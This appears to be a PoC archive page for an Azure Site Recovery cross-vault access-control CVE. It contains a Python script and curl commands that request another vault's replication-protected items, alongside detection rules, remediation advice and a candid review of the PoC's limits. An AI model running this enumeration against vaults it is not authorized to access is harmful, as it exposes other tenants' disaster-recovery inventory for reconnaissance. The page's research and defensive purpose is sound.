PoC Archive PoC Archive
CVE-2026-118286 category: cloud CVSS 9.1 (CRITICAL)
Unverified

Azure Site Recovery — Cross-Vault Access Control Flaw Enabling Unauthorized Replication Inventory Access (CVE-2026-118286)

Published: 2026-11-25 • Researcher: cveForge (PoC publisher); Microsoft Security Response Center (vendor advisory)

Target software Microsoft Azure Site Recovery (hosted service; Recovery Services vaults and replication-protected items in the Azure management plane)
Affected versions Hosted service, no customer version string. NVD/CNA list Microsoft Azure Site Recovery with version "-" (affected) and no version ranges; Microsoft released the CVE in the 2026-Nov release on 2026-11-19 and states the issue is fully mitigated server-side.
Status PoC
Severity Critical · CVSS 9.1
CVSS 9.1/10
Severity
Critical
CVE
CVE-2026-118286
Category
cloud
Affected product
Microsoft Azure Site Recovery (hosted service; Recovery Services vaults and replication-protected items in the Azure management plane)
Affected versions
Hosted service, no customer version string. NVD/CNA list Microsoft Azure Site Recovery with version "-" (affected) and no version ranges; Microsoft released the CVE in the 2026-Nov release on 2026-11-19 and states the issue is fully mitigated server-side.
Disclosed
2026-11-25
Patch status
Unverified
On this page

Metadata

FieldValue
Date Added2026-11-25
Last Updated2026-11-24
Author / ResearchercveForge (PoC publisher); Microsoft Security Response Center (vendor advisory)
CVE / AdvisoryCVE-2026-118286
Categorycloud
SeverityCritical
CVSS Score9.1 (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N; Microsoft temporal score 7.9, E:U/RL:O/RC:C)
StatusPoC
TagsAzure, Azure Site Recovery, access-control, CWE-284, cross-vault, IDOR, cloud, enumeration, management-plane, privilege-escalation
RelatedN/A

Affected Target

FieldValue
Software / SystemMicrosoft Azure Site Recovery (hosted service; Recovery Services vaults and replication-protected items in the Azure management plane)
Versions AffectedHosted service, no customer version string. NVD/CNA list Microsoft Azure Site Recovery with version “-” (affected) and no version ranges; Microsoft released the CVE in the 2026-Nov release on 2026-11-19 and states the issue is fully mitigated server-side.
Language / PlatformCloud service (Microsoft Azure Resource Manager REST API). The PoC is Python 3 using only the standard library.
Authentication RequiredNo per the CVSS vector (PR:N). The published PoC as written requires a bearer token, i.e. at least Reader on some vault, and does not demonstrate the unauthenticated case. See Notes.
Network Access RequiredYes — outbound HTTPS to management.azure.com; no local access to Azure infrastructure is involved

Summary

CVE-2026-118286 is a critical improper access control flaw (CWE-284) in Microsoft Azure Site Recovery, the Azure service that replicates workloads into Recovery Services vaults and orchestrates failover between them. Microsoft scores it 9.1 with a network vector, no privileges and no user interaction, and describes the outcome as privilege elevation over a network. The published PoC sends an Azure Resource Manager request for one vault’s replication-protected items while the caller is supposed to hold rights only on a different vault, and treats an HTTP 200 carrying a value array as proof that the vault boundary was not enforced. Microsoft states the vulnerability has already been fully mitigated and that no customer action is required.

Vulnerability Details

Root Cause

NVD and Microsoft assign CWE-284 (Improper Access Control). According to the upstream repository, the Site Recovery API validated the subscription scope of a request but not the vault boundary, so a caller scoped to Vault A could supply Vault B’s resource name in the request path and still be served Vault B’s data. That is the PoC author’s stated model of the defect. Microsoft published no technical root-cause detail beyond the one-line description and an FAQ saying the service was fixed server-side, so the mechanism should be treated as the upstream hypothesis rather than an independently confirmed root cause. The affected API surface in the PoC is the recoveryServicesVaults replicationProtectedItems collection at api-version 2023-04-01.

Attack Vector

Remote HTTPS GET to management.azure.com/subscriptions/{subscription}/resourceGroups/{resource-group}/providers/Microsoft.RecoveryServices/vaults/{vault}/replicationProtectedItems with a Bearer token and an Accept: application/json header. The attacker substitutes the name of a vault they should not be able to read. The PoC forwards whatever token the operator supplies, so in practice the exploit is an ordinary authorized ARM call whose authorization decision is the vulnerable step — there is no payload, no parser trick, and no forged token. The CVSS vector claims no privileges are required at all; the PoC’s own usage requires a token, which corresponds to a low-privileged authenticated attacker.

Impact

Successful exploitation discloses the replication inventory of another vault: protected item names, replication health, replication policy and topology, and failover targets, which is reconnaissance material for follow-on attacks against disaster-recovery infrastructure. Microsoft’s vector (C:H/I:H, unchanged scope, elevation of privilege) implies both read and write impact and a privilege boundary crossing; the PoC only demonstrates and only claims read enumeration, and it never attempts a failover, policy change, or protected-item mutation. The practical severity therefore depends on the undocumented write path that the CVE claims but that this code does not exercise.

Environment / Lab Setup

Output
OS:          Linux, macOS, or Windows with Python 3
Target:      Microsoft Azure subscription containing two Recovery Services
             vaults: Vault A (the test identity is Reader here) and Vault B
             (the "victim" vault it should not read). Hosted service at
             management.azure.com; no local emulator exists.
Attacker:    Low-privileged Microsoft Entra ID principal / service principal
             with Reader on Vault A only, and a bearer token for ARM
Tools:       python3 (standard library only), Azure CLI or equivalent to mint
             a token, curl optional
Lab note:    You must own the subscription and both vaults, or hold written
             authorization. A token alone is not proof of a bypass if that
             same identity also holds legitimate access to the "victim" vault.

Setup Steps

Shell script
1
2
3
4
5
6
7
8
9
git clone https://github.com/cveForge/CVE-2026-118286
cd CVE-2026-118286

az login
TOKEN=$(az account get-access-token --resource https://management.azure.com \
  --query accessToken -o tsv)

python3 poc.py --sub-id "<subscription-id>" --rg "dr-rg" \
  --victim-vault "prod-vault" --bearer "$TOKEN"

Run only against subscriptions and vaults you own or are explicitly authorized to test.

Proof of Concept

Step-by-Step Reproduction

  1. Establish the low-privileged identity — Create or select an Entra ID principal whose only Site Recovery access is Reader (or Recovery Services Reader) on Vault A. Mint an ARM token for it.

    Shell script
    1
    
    TOKEN=$(az account get-access-token --resource https://management.azure.com --query accessToken -o tsv)
  2. Baseline the legitimate read — Confirm the identity can list its own vault’s protected items, so a later 200 is not just broken auth.

    Shell script
    1
    2
    
    curl -s -H "Authorization: Bearer $TOKEN" \
      "https://management.azure.com/subscriptions/<sub>/resourceGroups/<rg>/providers/Microsoft.RecoveryServices/vaults/<vault-a>/replicationProtectedItems?api-version=2023-04-01"
  3. Attempt the cross-vault read — Point the same call at Vault B, which the identity is not scoped to.

    Shell script
    1
    
    python3 poc.py --sub-id "<sub>" --rg "<rg>" --victim-vault "<vault-b>" --bearer "$TOKEN"
  4. Read the verdict — The script prints VULNERABLE on HTTP 200 with a value key in the body and PATCHED on HTTP 403; any other status is reported as inconclusive.

    Output
    1
    
    [+] VULNERABLE — cross-vault items enumerated (HTTP 200)
  5. Corroborate out-of-band — Re-run the same query with an identity that genuinely has no role on Vault B, and compare with Azure Activity Log entries. A 200 for the first identity alone does not prove the boundary was bypassed rather than legitimately granted.

Exploit Code

See poc.py in this folder. The archived copy is the upstream script with an added authorized-research header.

Python
1
2
3
4
5
6
7
8
ASR_API = "https://management.azure.com/subscriptions/{sub}/resourceGroups/{rg}/providers/Microsoft.RecoveryServices/vaults/{vault}/replicationProtectedItems?api-version=2023-04-01"

req = urllib.request.Request(url, headers={
    "Authorization": f"Bearer {bearer}",
    "Accept": "application/json",
})
with urllib.request.urlopen(req, timeout=12) as r:
    return r.status, r.read(4096).decode(errors="replace")

Expected Output

As produced by the archived code (formatting from the script; not a captured live run):

Output
1
2
3
4
5
6
7
  CVE-2026-118286 — Azure Site Recovery Improper Access Control — Cross-Vault Resource Enumeration
  CVSS 9.1 | CRITICAL | CWE-284 | Azure Site Recovery

[*] Attempting cross-vault enumeration of prod-vault ...
[+] VULNERABLE — cross-vault items enumerated (HTTP 200)
    Data: {"value": [{"id": ".../replicationProtectedItems/...", ...}]}
[*] Done.

On a fixed service the script prints [-] PATCHED — vault boundary enforced (HTTP 403). A 401, 404, or any other status is reported as [?] HTTP <code> and is not a vulnerability signal.

Detection & Indicators of Compromise

Output
Microsoft.RecoveryServices/vaults/replicationProtectedItems/read
  CallerIpAddress: <unexpected external address>
  Caller: <low-privileged principal with no role on that vault>
  ResultType: Succeeded
  Properties.targetResource: /subscriptions/<sub>/resourceGroups/<rg>/providers/Microsoft.RecoveryServices/vaults/<vault-b>

GET https://management.azure.com/subscriptions/<sub>/resourceGroups/<rg>/providers/
    Microsoft.RecoveryServices/vaults/<vault-b>/replicationProtectedItems?api-version=2023-04-01
Authorization: Bearer <token scoped to a different vault>
Accept: application/json                                       -> 200
  • Site Recovery reads of one vault by a principal whose RBAC assignments cover only a different vault, especially from unfamiliar source addresses or user agents.
  • Bursts of 403 responses against vault paths the principal is not scoped to, then a 200 — a sign of boundary probing.
  • Principals enumerating replication policies and fabric resources across unrelated vaults, or activity from tokens issued to non-operations identities.
  • Newly created low-privileged principals followed immediately by read activity against disaster-recovery resources.

SIEM / IDS rule (example; pseudo-query, adapt to your SIEM):

Output
1
2
3
4
5
WHEN resource.type = "MICROSOFT.RECOVERSYSERVICES/VAULTS/REPLICATIONPROTECTEDITEMS"
  AND operation.name = "MICROSOFT.RECOVERSYSERVICES/VAULTS/REPLICATIONPROTECTEDITEMS/READ"
  AND response.status = 200
  AND NOT principal.hasScopeOn(resource)
THEN alert "Cross-vault Azure Site Recovery inventory read"

Remediation

ActionDetail
PatchNo customer patch exists; Microsoft reports the hosted service was fully mitigated server-side and released the CVE on 2026-11-19 with no action required. Confirm tenant status in the MSRC update guide and re-test from an authorized subscription.
WorkaroundRemove broad Reader assignments at subscription or resource-group scope for Site Recovery; grant Recovery Services Reader per individual vault, use privileged identity management with just-in-time activation, and prefer custom roles without the replication-protected-items read action for identities that do not need it.
Config HardeningAlert on replicationProtectedItems/read calls where the principal has no assignment on the target vault, centralize Site Recovery RBAC in code, restrict who can create new vaults and role assignments, review governed role assignments regularly, and keep diagnostic settings on vaults shipped to a central SIEM.

References

Notes

Auto-ingested from https://github.com/cveForge/CVE-2026-118286 on 2026-11-25.

Review verdict: ingested as a limited PoC. The repository contains actual exploit request code that exercises the vulnerable authorization decision — it issues the cross-vault read itself and returns the other vault’s body — so it is not a fleet scanner, audit, or inventory tool. Status is PoC rather than Weaponized because the script is a single-request oracle with no proven end-to-end result, no write or failover action, no lab evidence, and no captured output; response bodies are truncated at 4096 bytes, so it does not extract a full inventory. It also cannot distinguish a genuine cross-vault bypass from the supplied token simply holding legitimate rights on the “victim” vault, which is a real false-positive risk. The CVSS vector claims no privileges required, while the tool requires a bearer token that already has Reader on some vault; the unauthenticated case the CVE describes is not demonstrated by this code.

Source limitations: the upstream README is badge/mermaid only and adds no technical detail; the code comment states “all tenants before 2026-11-19” but Microsoft marks the issue fully mitigated with no customer action, so the pre-fix window cannot be verified; api-version 2023-04-01 is used in the request path. No LICENSE file is present in the repository; sources are archived with attribution for authorized research only. No local reproduction is possible because the target is a hosted Azure service, and the archive did not run the exploit. Not listed in CISA KEV; worklist EPSS is 0.0124 (1.24 percent). Microsoft attributes CWE-284 (Improper Access Control) and rates severity Critical, temporal 7.9.

poc.py
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
# Archived for authorized security research only.
# Source: https://github.com/cveForge/CVE-2026-118286 (see README for attribution/license)

BANNER = """

  ██████╗██╗   ██╗███████╗███████╗ ██████╗ ██████╗  ██████╗  ██████╗███████╗
 ██╔════╝██║   ██║██╔════╝██╔════╝██╔═══██╗██╔══██╗██╔════╝ ██╔════╝██╔════╝
 ██║     ██║   ██║█████╗  █████╗  ██║   ██║██████╔╝██║  ███╗█████╗  ███████╗
 ██║     ╚██╗ ██╔╝██╔══╝  ██╔══╝  ██║   ██║██╔══██╗██║   ██║██╔══╝  ╚════██║
 ╚██████╗ ╚████╔╝ ███████╗██║     ╚██████╔╝██║  ██║╚██████╔╝███████╗███████║
  ╚═════╝  ╚═══╝  ╚══════╝╚═╝      ╚═════╝ ╚═╝  ╚═╝ ╚═════╝ ╚══════╝╚══════╝

  CVE-2026-118286 — Azure Site Recovery Improper Access Control — Cross-Vault Resource Enumeration
  CVSS 9.1 | CRITICAL | CWE-284 | Azure Site Recovery
"""

VERSION = "1.0.0"

import argparse, sys, json, urllib.request, urllib.error

# Azure Site Recovery Improper Access Control PoC
# CWE-284: Improper Access Control
# Affected: Azure Site Recovery REST API (all tenants before 2026-11-19)
# Impact: A user with Site Recovery Reader role in Vault A can enumerate
#         protected items and replication policies from Vault B in the same
#         subscription by supplying a cross-vault resource ID in the
#         recoveryservicesvaults API calls. The scope isolation check
#         validated the subscription but not the vault boundary.

ASR_API = "https://management.azure.com/subscriptions/{sub}/resourceGroups/{rg}/providers/Microsoft.RecoveryServices/vaults/{vault}/replicationProtectedItems?api-version=2023-04-01"

def enum_vault(sub, rg, vault, bearer):
    url = ASR_API.format(sub=sub, rg=rg, vault=vault)
    req = urllib.request.Request(url, headers={
        "Authorization": f"Bearer {bearer}",
        "Accept": "application/json",
    })
    try:
        with urllib.request.urlopen(req, timeout=12) as r:
            return r.status, r.read(4096).decode(errors="replace")
    except urllib.error.HTTPError as e:
        return e.code, e.read(512).decode(errors="replace")
    except urllib.error.URLError as e:
        return -1, str(e.reason)

def main():
    parser = argparse.ArgumentParser(description="CVE-2026-118286 PoC — Azure Site Recovery Access Control")
    parser.add_argument("--sub-id",       required=True)
    parser.add_argument("--rg",           required=True)
    parser.add_argument("--victim-vault", required=True, help="Vault name you should NOT have access to")
    parser.add_argument("--bearer",       required=True)
    args = parser.parse_args()
    print(BANNER)
    print(f"[*] Attempting cross-vault enumeration of {args.victim_vault} ...")
    status, body = enum_vault(args.sub_id, args.rg, args.victim_vault, args.bearer)
    if status == 200 and "value" in body:
        print(f"[+] VULNERABLE — cross-vault items enumerated (HTTP 200)")
        print(f"    Data: {body[:500]}")
    elif status == 403:
        print(f"[-] PATCHED — vault boundary enforced (HTTP 403)")
    else:
        print(f"[?] HTTP {status}: {body[:300]}")
    print("[*] Done.")

if __name__ == "__main__":
    main()